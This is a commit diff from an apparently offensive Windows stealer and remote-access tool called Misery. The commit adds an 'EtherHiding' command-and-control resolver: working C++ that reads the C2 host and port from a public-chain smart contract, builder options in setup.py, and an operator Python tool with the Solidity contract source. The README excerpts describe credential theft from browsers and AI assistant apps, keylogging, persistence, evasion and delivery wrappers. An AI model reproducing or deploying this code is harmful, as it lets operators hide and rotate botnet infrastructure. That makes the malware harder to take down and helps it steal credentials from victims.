mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
EtherHiding C2: resolve the TCP endpoint from a smart contract
The agent resolves its C2 endpoint from a resolver contract on a public chain via eth_call (free, read-only), so the compiled binary carries no C2 address; rotating the C2 is one contract call and every bot picks up the new value on next start. Pattern per the 2026 Remus analysis: eth_call with the get() selector (0x6d4ce63c) against a public JSON-RPC provider, the endpoint stored as a bytes32 host:port. Any failure falls back to the compiled endpoint. - src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode, host:port parse, WinHTTP POST with hard timeouts - agent: resolves before the argv/env override so an explicit endpoint still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override - setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for the resolver under TCP; the summary and recreate line carry them - tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer instructions otherwise); contract source included, deployed via Remix - verified: selectors checked against a real keccak implementation, contract compiles with solc 0.8.19, wizard and non-interactive flows emit the config end to end, mock RPC positive/negative tests, live HTTPS RPC probe degrades gracefully, and the full steal still recovers the v20 key through the chain-resolved agent
This commit is contained in:
@@ -33,6 +33,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden
|
|||||||
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
|
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
|
||||||
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
|
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
|
||||||
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
|
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
|
||||||
|
- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
|
||||||
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
|
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
|
||||||
- ⌨️ **Keylogger and clipboard monitoring**
|
- ⌨️ **Keylogger and clipboard monitoring**
|
||||||
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
|
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
|
||||||
@@ -84,6 +85,34 @@ setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy
|
|||||||
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
|
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
|
||||||
the config, `cloudflared tunnel run <name>`.
|
the config, `cloudflared tunnel run <name>`.
|
||||||
|
|
||||||
|
## EtherHiding C2
|
||||||
|
|
||||||
|
The agent can resolve its TCP endpoint from a smart contract on a public chain
|
||||||
|
(`eth_call`, free and read-only), so the compiled binary carries no C2 address.
|
||||||
|
Rotate the C2 by updating the contract; every bot picks up the new value on
|
||||||
|
its next start. A dead RPC or decode failure falls back to the compiled
|
||||||
|
endpoint.
|
||||||
|
|
||||||
|
1. Deploy the resolver once in Remix or on the chain explorer (contract source
|
||||||
|
is in `tools/etherhiding.py`).
|
||||||
|
2. Store the endpoint, and read it back:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
|
||||||
|
python tools\etherhiding.py read --contract 0x...
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Build with the resolver wired in; the wizard asks for it under TCP, or pass
|
||||||
|
it directly:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com
|
||||||
|
```
|
||||||
|
|
||||||
|
The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` /
|
||||||
|
`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent
|
||||||
|
`argv` endpoint overrides the chain.
|
||||||
|
|
||||||
## Payload wrappers
|
## Payload wrappers
|
||||||
|
|
||||||
The builder (`setup.py -p <formats>`) packages the agent into delivery
|
The builder (`setup.py -p <formats>`) packages the agent into delivery
|
||||||
@@ -172,6 +201,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
|
|||||||
- `src/rat`: keylogger + clipboard
|
- `src/rat`: keylogger + clipboard
|
||||||
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
|
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
|
||||||
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
|
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
|
||||||
|
- `tools/`: operator helpers (EtherHiding resolver read/update)
|
||||||
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
|
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
|
||||||
- `build/`: out-of-source build dir
|
- `build/`: out-of-source build dir
|
||||||
|
|
||||||
|
|||||||
@@ -60,6 +60,8 @@ OPTIONS = {
|
|||||||
"AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None),
|
"AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None),
|
||||||
"SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None),
|
"SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None),
|
||||||
"EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None),
|
"EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None),
|
||||||
|
"CHAIN_RPC": ("chain_rpc", "EtherHiding JSON-RPC endpoint (empty = resolver off)", False, None),
|
||||||
|
"CHAIN_CONTRACT": ("chain_contract", "EtherHiding resolver contract address (empty = resolver off)", False, None),
|
||||||
"TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None),
|
"TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None),
|
||||||
"CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None),
|
"CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None),
|
||||||
"CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None),
|
"CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None),
|
||||||
@@ -92,6 +94,8 @@ class Config:
|
|||||||
self.auth_secret = None
|
self.auth_secret = None
|
||||||
self.sleep_ms = 5000
|
self.sleep_ms = 5000
|
||||||
self.exfil_url = ""
|
self.exfil_url = ""
|
||||||
|
self.chain_rpc = ""
|
||||||
|
self.chain_contract = ""
|
||||||
self.tunnel_host = "c2.yourdomain.com"
|
self.tunnel_host = "c2.yourdomain.com"
|
||||||
self.cf_access_client_id = ""
|
self.cf_access_client_id = ""
|
||||||
self.cf_access_client_secret = ""
|
self.cf_access_client_secret = ""
|
||||||
@@ -290,6 +294,12 @@ def write_config(c: Config) -> str:
|
|||||||
"#define HVNC_C2_PORT %d\n\n"
|
"#define HVNC_C2_PORT %d\n\n"
|
||||||
"// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n"
|
"// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n"
|
||||||
"#define HVNC_EXFIL_URL \"%s\"\n\n"
|
"#define HVNC_EXFIL_URL \"%s\"\n\n"
|
||||||
|
"// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0).\n"
|
||||||
|
"// Empty RPC or contract disables the lookup; the agent then uses the\n"
|
||||||
|
"// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override\n"
|
||||||
|
"// both at runtime.\n"
|
||||||
|
"#define HVNC_CHAIN_RPC \"%s\"\n"
|
||||||
|
"#define HVNC_CHAIN_CONTRACT \"%s\"\n\n"
|
||||||
"// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n"
|
"// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n"
|
||||||
"// Only this public half is compiled in; the private half lives in\n"
|
"// Only this public half is compiled in; the private half lives in\n"
|
||||||
"// .misery_key on the operator box. Each connection/session derives its\n"
|
"// .misery_key on the operator box. Each connection/session derives its\n"
|
||||||
@@ -307,6 +317,8 @@ def write_config(c: Config) -> str:
|
|||||||
c.lhost or "127.0.0.1",
|
c.lhost or "127.0.0.1",
|
||||||
int(c.lport),
|
int(c.lport),
|
||||||
c.exfil_url,
|
c.exfil_url,
|
||||||
|
c.chain_rpc or "",
|
||||||
|
c.chain_contract or "",
|
||||||
len(c.pub_blob),
|
len(c.pub_blob),
|
||||||
byte_escapes(c.pub_blob),
|
byte_escapes(c.pub_blob),
|
||||||
c.beacon_url or "",
|
c.beacon_url or "",
|
||||||
@@ -475,6 +487,8 @@ def report(c: Config, files: list) -> None:
|
|||||||
print(" tunnel : %s" % c.tunnel_host)
|
print(" tunnel : %s" % c.tunnel_host)
|
||||||
print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none"))
|
print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none"))
|
||||||
print(" exfil url : %s" % (c.exfil_url or "(channel only)"))
|
print(" exfil url : %s" % (c.exfil_url or "(channel only)"))
|
||||||
|
if c.chain_contract:
|
||||||
|
print(" chain : %s @ %s" % (c.chain_contract, c.chain_rpc or "(default RPC)"))
|
||||||
if c.payload_formats:
|
if c.payload_formats:
|
||||||
print(" payloads : %s" % ", ".join(c.payload_formats))
|
print(" payloads : %s" % ", ".join(c.payload_formats))
|
||||||
print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)"))
|
print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)"))
|
||||||
@@ -482,8 +496,9 @@ def report(c: Config, files: list) -> None:
|
|||||||
print("\n[*] Recreate without prompts:")
|
print("\n[*] Recreate without prompts:")
|
||||||
fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else ""
|
fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else ""
|
||||||
stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else ""
|
stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else ""
|
||||||
print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s" % (
|
chain = (" CHAIN_CONTRACT=%s CHAIN_RPC=%s" % (c.chain_contract, c.chain_rpc)) if c.chain_contract else ""
|
||||||
c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage,
|
print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s%s" % (
|
||||||
|
c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage, chain,
|
||||||
"" if c.build else " --no-build"))
|
"" if c.build else " --no-build"))
|
||||||
if c.transport == "https_cdn":
|
if c.transport == "https_cdn":
|
||||||
extra = " TUNNEL_HOST=%s" % c.tunnel_host
|
extra = " TUNNEL_HOST=%s" % c.tunnel_host
|
||||||
@@ -538,6 +553,9 @@ def guided(c: Config) -> None:
|
|||||||
else:
|
else:
|
||||||
c.lhost = ask("C2 host (LHOST)", required=True)
|
c.lhost = ask("C2 host (LHOST)", required=True)
|
||||||
c.lport = int(ask("C2 port (LPORT)", default=4444))
|
c.lport = int(ask("C2 port (LPORT)", default=4444))
|
||||||
|
c.chain_contract = ask("EtherHiding resolver contract (empty = off)", default="")
|
||||||
|
if c.chain_contract:
|
||||||
|
c.chain_rpc = ask("EtherHiding JSON-RPC endpoint", default="https://cloudflare-eth.com")
|
||||||
else:
|
else:
|
||||||
c.beacon_url = ask("Worker beacon URL", required=True)
|
c.beacon_url = ask("Worker beacon URL", required=True)
|
||||||
c.auth_header = ask("CDN auth header name", default="X-RT-C2")
|
c.auth_header = ask("CDN auth header name", default="X-RT-C2")
|
||||||
|
|||||||
@@ -27,6 +27,7 @@
|
|||||||
#include "syscall.hpp"
|
#include "syscall.hpp"
|
||||||
#include "inject.hpp"
|
#include "inject.hpp"
|
||||||
#include "beacon.hpp"
|
#include "beacon.hpp"
|
||||||
|
#include "etherhiding.hpp"
|
||||||
#include "persist.hpp"
|
#include "persist.hpp"
|
||||||
#include "persist_wmi.hpp"
|
#include "persist_wmi.hpp"
|
||||||
#include "environment.hpp"
|
#include "environment.hpp"
|
||||||
@@ -627,6 +628,24 @@ int main(int argc, char** argv) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// EtherHiding dead-drop resolver: the contract value overrides the
|
||||||
|
// compiled endpoint; an explicit argv/env override below still wins.
|
||||||
|
#if HVNC_TRANSPORT == 0
|
||||||
|
{
|
||||||
|
const char* rpc = getenv("HVNC_CHAIN_RPC");
|
||||||
|
const char* contract = getenv("HVNC_CHAIN_CONTRACT");
|
||||||
|
std::string chain_host;
|
||||||
|
int chain_port = 0;
|
||||||
|
if (hvnc::chain::resolve_endpoint(
|
||||||
|
(rpc && rpc[0]) ? rpc : HVNC_CHAIN_RPC,
|
||||||
|
(contract && contract[0]) ? contract : HVNC_CHAIN_CONTRACT,
|
||||||
|
chain_host, chain_port)) {
|
||||||
|
g_host = chain_host;
|
||||||
|
g_port = chain_port;
|
||||||
|
printf("[agent] c2 from chain: %s:%d\n", g_host.c_str(), g_port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
{
|
{
|
||||||
const char* host = nullptr;
|
const char* host = nullptr;
|
||||||
const char* port = nullptr;
|
const char* port = nullptr;
|
||||||
|
|||||||
@@ -13,6 +13,13 @@
|
|||||||
// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.
|
// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.
|
||||||
#define HVNC_EXFIL_URL ""
|
#define HVNC_EXFIL_URL ""
|
||||||
|
|
||||||
|
// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0).
|
||||||
|
// Empty RPC or contract disables the lookup; the agent then uses the
|
||||||
|
// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override
|
||||||
|
// both at runtime.
|
||||||
|
#define HVNC_CHAIN_RPC ""
|
||||||
|
#define HVNC_CHAIN_CONTRACT ""
|
||||||
|
|
||||||
// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).
|
// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).
|
||||||
// Only this public half is compiled in; the private half lives in
|
// Only this public half is compiled in; the private half lives in
|
||||||
// .misery_key on the operator box. Each connection/session derives its
|
// .misery_key on the operator box. Each connection/session derives its
|
||||||
|
|||||||
@@ -0,0 +1,156 @@
|
|||||||
|
#include "etherhiding.hpp"
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winhttp.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
|
namespace hvnc::chain {
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
std::wstring to_wide(const std::string& s) {
|
||||||
|
if (s.empty()) return L"";
|
||||||
|
int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
||||||
|
std::wstring w(n, L'\0');
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), &w[0], n);
|
||||||
|
return w;
|
||||||
|
}
|
||||||
|
|
||||||
|
int hexval(char c) {
|
||||||
|
if (c >= '0' && c <= '9') return c - '0';
|
||||||
|
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
|
||||||
|
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool decode_hex(const char* hex, size_t len, std::vector<uint8_t>& out) {
|
||||||
|
if (len % 2) return false;
|
||||||
|
out.resize(len / 2);
|
||||||
|
for (size_t i = 0; i < out.size(); i++) {
|
||||||
|
int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]);
|
||||||
|
if (hi < 0 || lo < 0) return false;
|
||||||
|
out[i] = static_cast<uint8_t>((hi << 4) | lo);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// "host:port"; the last colon separates, so IPv4 and hostnames parse alike.
|
||||||
|
bool parse_host_port(const std::string& s, std::string& host, int& port) {
|
||||||
|
size_t colon = s.rfind(':');
|
||||||
|
if (colon == std::string::npos || colon == 0 || colon + 1 >= s.size()) return false;
|
||||||
|
host = s.substr(0, colon);
|
||||||
|
port = 0;
|
||||||
|
for (size_t i = colon + 1; i < s.size(); i++) {
|
||||||
|
if (s[i] < '0' || s[i] > '9') return false;
|
||||||
|
port = port * 10 + (s[i] - '0');
|
||||||
|
if (port > 65535) return false;
|
||||||
|
}
|
||||||
|
if (port == 0 || host.empty()) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// POST a JSON body to an http(s) URL; returns the body on status 200. Hard
|
||||||
|
// timeouts so a dead RPC cannot stall startup for long.
|
||||||
|
bool http_post(const std::string& url, const std::string& body, std::string& reply) {
|
||||||
|
size_t sep = url.find("://");
|
||||||
|
if (sep == std::string::npos) return false;
|
||||||
|
bool secure = url.compare(0, sep, "https") == 0;
|
||||||
|
std::string rest = url.substr(sep + 3);
|
||||||
|
size_t slash = rest.find('/');
|
||||||
|
std::string host = slash == std::string::npos ? rest : rest.substr(0, slash);
|
||||||
|
std::string path = slash == std::string::npos ? "/" : rest.substr(slash);
|
||||||
|
if (host.empty()) return false;
|
||||||
|
|
||||||
|
// The host may carry an explicit port ("host:8123"); split it out.
|
||||||
|
INTERNET_PORT iport = secure ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
|
||||||
|
size_t hcolon = host.rfind(':');
|
||||||
|
if (hcolon != std::string::npos && hcolon + 1 < host.size()) {
|
||||||
|
int p = 0;
|
||||||
|
bool digits = true;
|
||||||
|
for (size_t i = hcolon + 1; i < host.size(); i++) {
|
||||||
|
if (host[i] < '0' || host[i] > '9') { digits = false; break; }
|
||||||
|
p = p * 10 + (host[i] - '0');
|
||||||
|
}
|
||||||
|
if (digits && p > 0 && p <= 65535) {
|
||||||
|
iport = static_cast<INTERNET_PORT>(p);
|
||||||
|
host = host.substr(0, hcolon);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HINTERNET hSession = WinHttpOpen(L"HVNC/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||||
|
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||||
|
if (!hSession) return false;
|
||||||
|
WinHttpSetTimeouts(hSession, 4000, 4000, 8000, 8000);
|
||||||
|
|
||||||
|
bool ok = false;
|
||||||
|
HINTERNET hConn = WinHttpConnect(hSession, to_wide(host).c_str(), iport, 0);
|
||||||
|
if (hConn) {
|
||||||
|
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", to_wide(path).c_str(), nullptr,
|
||||||
|
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
|
||||||
|
secure ? WINHTTP_FLAG_SECURE : 0);
|
||||||
|
if (hReq) {
|
||||||
|
WinHttpAddRequestHeaders(hReq, L"Content-Type: application/json", (DWORD)-1,
|
||||||
|
WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
|
||||||
|
if (WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||||
|
body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(),
|
||||||
|
(DWORD)body.size(), (DWORD)body.size(), 0) &&
|
||||||
|
WinHttpReceiveResponse(hReq, nullptr)) {
|
||||||
|
DWORD status = 0, len = sizeof(status);
|
||||||
|
if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||||
|
WINHTTP_HEADER_NAME_BY_INDEX, &status, &len,
|
||||||
|
WINHTTP_NO_HEADER_INDEX) && status == 200) {
|
||||||
|
std::vector<uint8_t> buf;
|
||||||
|
for (;;) {
|
||||||
|
DWORD avail = 0;
|
||||||
|
if (!WinHttpQueryDataAvailable(hReq, &avail)) break;
|
||||||
|
if (avail == 0) break;
|
||||||
|
size_t base = buf.size();
|
||||||
|
buf.resize(base + avail);
|
||||||
|
DWORD got = 0;
|
||||||
|
if (!WinHttpReadData(hReq, buf.data() + base, avail, &got)) break;
|
||||||
|
buf.resize(base + got);
|
||||||
|
}
|
||||||
|
reply.assign(reinterpret_cast<const char*>(buf.data()), buf.size());
|
||||||
|
ok = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WinHttpCloseHandle(hReq);
|
||||||
|
}
|
||||||
|
WinHttpCloseHandle(hConn);
|
||||||
|
}
|
||||||
|
WinHttpCloseHandle(hSession);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
|
||||||
|
std::string& host, int& port) {
|
||||||
|
if (rpc_url.empty() || contract_addr.empty()) return false;
|
||||||
|
|
||||||
|
const std::string body =
|
||||||
|
"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":"
|
||||||
|
"[{\"to\":\"" + contract_addr + "\",\"data\":\"0x6d4ce63c\"},\"latest\"]}";
|
||||||
|
|
||||||
|
std::string reply;
|
||||||
|
if (!http_post(rpc_url, body, reply)) return false;
|
||||||
|
|
||||||
|
// The endpoint string is the raw bytes32 in the "result" field, hex with
|
||||||
|
// a 0x prefix.
|
||||||
|
size_t pos = reply.find("\"result\":\"");
|
||||||
|
if (pos == std::string::npos) return false;
|
||||||
|
pos += 10;
|
||||||
|
if (reply[pos] == '0' && (reply[pos + 1] == 'x' || reply[pos + 1] == 'X')) pos += 2;
|
||||||
|
size_t end = reply.find('"', pos);
|
||||||
|
if (end == std::string::npos) return false;
|
||||||
|
std::vector<uint8_t> data;
|
||||||
|
if (!decode_hex(reply.c_str() + pos, end - pos, data)) return false;
|
||||||
|
while (!data.empty() && data.back() == 0) data.pop_back();
|
||||||
|
|
||||||
|
std::string value(reinterpret_cast<const char*>(data.data()), data.size());
|
||||||
|
return parse_host_port(value, host, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace hvnc::chain
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
// Dead-drop resolver: fetch the C2 endpoint from a smart contract on a public
|
||||||
|
// chain via eth_call (free, read-only) so the endpoint never ships in the
|
||||||
|
// binary. The technique is EtherHiding (Remus 2026): the operator hosts a
|
||||||
|
// contract whose get() view function returns the current "host:port" as a
|
||||||
|
// bytes32 and updates it by calling set(). The agent keeps the compiled
|
||||||
|
// endpoint when the lookup fails, so a dead RPC never strands a bot.
|
||||||
|
#pragma once
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace hvnc::chain {
|
||||||
|
|
||||||
|
// Resolves "host:port" from the contract's get() view call (selector
|
||||||
|
// 0x6d4ce63c, bytes32 result, trailing NULs trimmed). Returns false on any
|
||||||
|
// failure (network, decode, empty), leaving host/port untouched.
|
||||||
|
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
|
||||||
|
std::string& host, int& port);
|
||||||
|
|
||||||
|
} // namespace hvnc::chain
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""EtherHiding C2 resolver operator tool.
|
||||||
|
|
||||||
|
Deploy once (Remix or the chain explorer): paste the contract below, deploy,
|
||||||
|
note the address. `read` queries the chain with no wallet; `update` writes a
|
||||||
|
new endpoint with web3.py, or prints the explorer instructions without it.
|
||||||
|
|
||||||
|
Contract:
|
||||||
|
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.0;
|
||||||
|
contract C2Resolver {
|
||||||
|
bytes32 public c2;
|
||||||
|
address public owner;
|
||||||
|
constructor() { owner = msg.sender; }
|
||||||
|
function set(bytes32 value) external { require(msg.sender == owner, "owner"); c2 = value; }
|
||||||
|
function get() external view returns (bytes32) { return c2; }
|
||||||
|
}
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python tools/etherhiding.py read --contract 0x... [--rpc URL]
|
||||||
|
python tools/etherhiding.py update --contract 0x... --value HOST:PORT [--rpc URL] [--key PRIVKEY]
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
DEFAULT_RPC = "https://cloudflare-eth.com"
|
||||||
|
SELECTOR_GET = "0x6d4ce63c" # keccak("get()")
|
||||||
|
SELECTOR_SET = "0xdb80813f" # keccak("set(bytes32)")
|
||||||
|
|
||||||
|
|
||||||
|
def encode_value(text: str) -> str:
|
||||||
|
raw = text.encode("utf-8")
|
||||||
|
if len(raw) > 31:
|
||||||
|
raise SystemExit("value too long for bytes32 (31 chars max)")
|
||||||
|
return raw.ljust(32, b"\x00").hex()
|
||||||
|
|
||||||
|
|
||||||
|
def eth_call(rpc: str, contract: str) -> str:
|
||||||
|
body = json.dumps({
|
||||||
|
"jsonrpc": "2.0", "id": 1, "method": "eth_call",
|
||||||
|
"params": [{"to": contract, "data": SELECTOR_GET}, "latest"],
|
||||||
|
}).encode()
|
||||||
|
req = urllib.request.Request(rpc, data=body,
|
||||||
|
headers={"Content-Type": "application/json"})
|
||||||
|
reply = json.loads(urllib.request.urlopen(req, timeout=15).read())
|
||||||
|
if "result" not in reply:
|
||||||
|
raise SystemExit("RPC error: %s" % reply.get("error", reply))
|
||||||
|
raw = bytes.fromhex(reply["result"][2:]).rstrip(b"\x00")
|
||||||
|
return raw.decode("utf-8", errors="replace")
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_read(args):
|
||||||
|
value = eth_call(args.rpc, args.contract)
|
||||||
|
print("contract %s" % args.contract)
|
||||||
|
print("value %s" % value)
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_update(args):
|
||||||
|
if not args.key:
|
||||||
|
raise SystemExit(
|
||||||
|
"--key PRIVKEY required. Without web3: open the contract on the "
|
||||||
|
"chain explorer and call set(bytes32) with value 0x%s" % encode_value(args.value))
|
||||||
|
from web3 import Web3
|
||||||
|
w3 = Web3(Web3.HTTPProvider(args.rpc))
|
||||||
|
acct = w3.eth.account.from_key(args.key)
|
||||||
|
tx = {
|
||||||
|
"from": acct.address,
|
||||||
|
"to": w3.to_checksum_address(args.contract),
|
||||||
|
"data": SELECTOR_SET + encode_value(args.value),
|
||||||
|
"gas": 100000,
|
||||||
|
"nonce": w3.eth.get_transaction_count(acct.address),
|
||||||
|
"chainId": w3.eth.chain_id,
|
||||||
|
}
|
||||||
|
signed = w3.eth.account.sign_transaction(tx, args.key)
|
||||||
|
print("tx %s" % w3.eth.send_raw_transaction(signed.raw_transaction).hex())
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(description="EtherHiding C2 resolver tool")
|
||||||
|
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||||
|
for name, fn in (("read", cmd_read), ("update", cmd_update)):
|
||||||
|
p = sub.add_parser(name)
|
||||||
|
p.set_defaults(fn=fn)
|
||||||
|
p.add_argument("--contract", help="resolver contract address")
|
||||||
|
p.add_argument("--rpc", default=DEFAULT_RPC, help="JSON-RPC endpoint")
|
||||||
|
p.add_argument("--value", help="HOST:PORT to store")
|
||||||
|
p.add_argument("--key", help="contract owner private key")
|
||||||
|
args = ap.parse_args()
|
||||||
|
if not args.contract:
|
||||||
|
raise SystemExit("--contract required")
|
||||||
|
args.fn(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user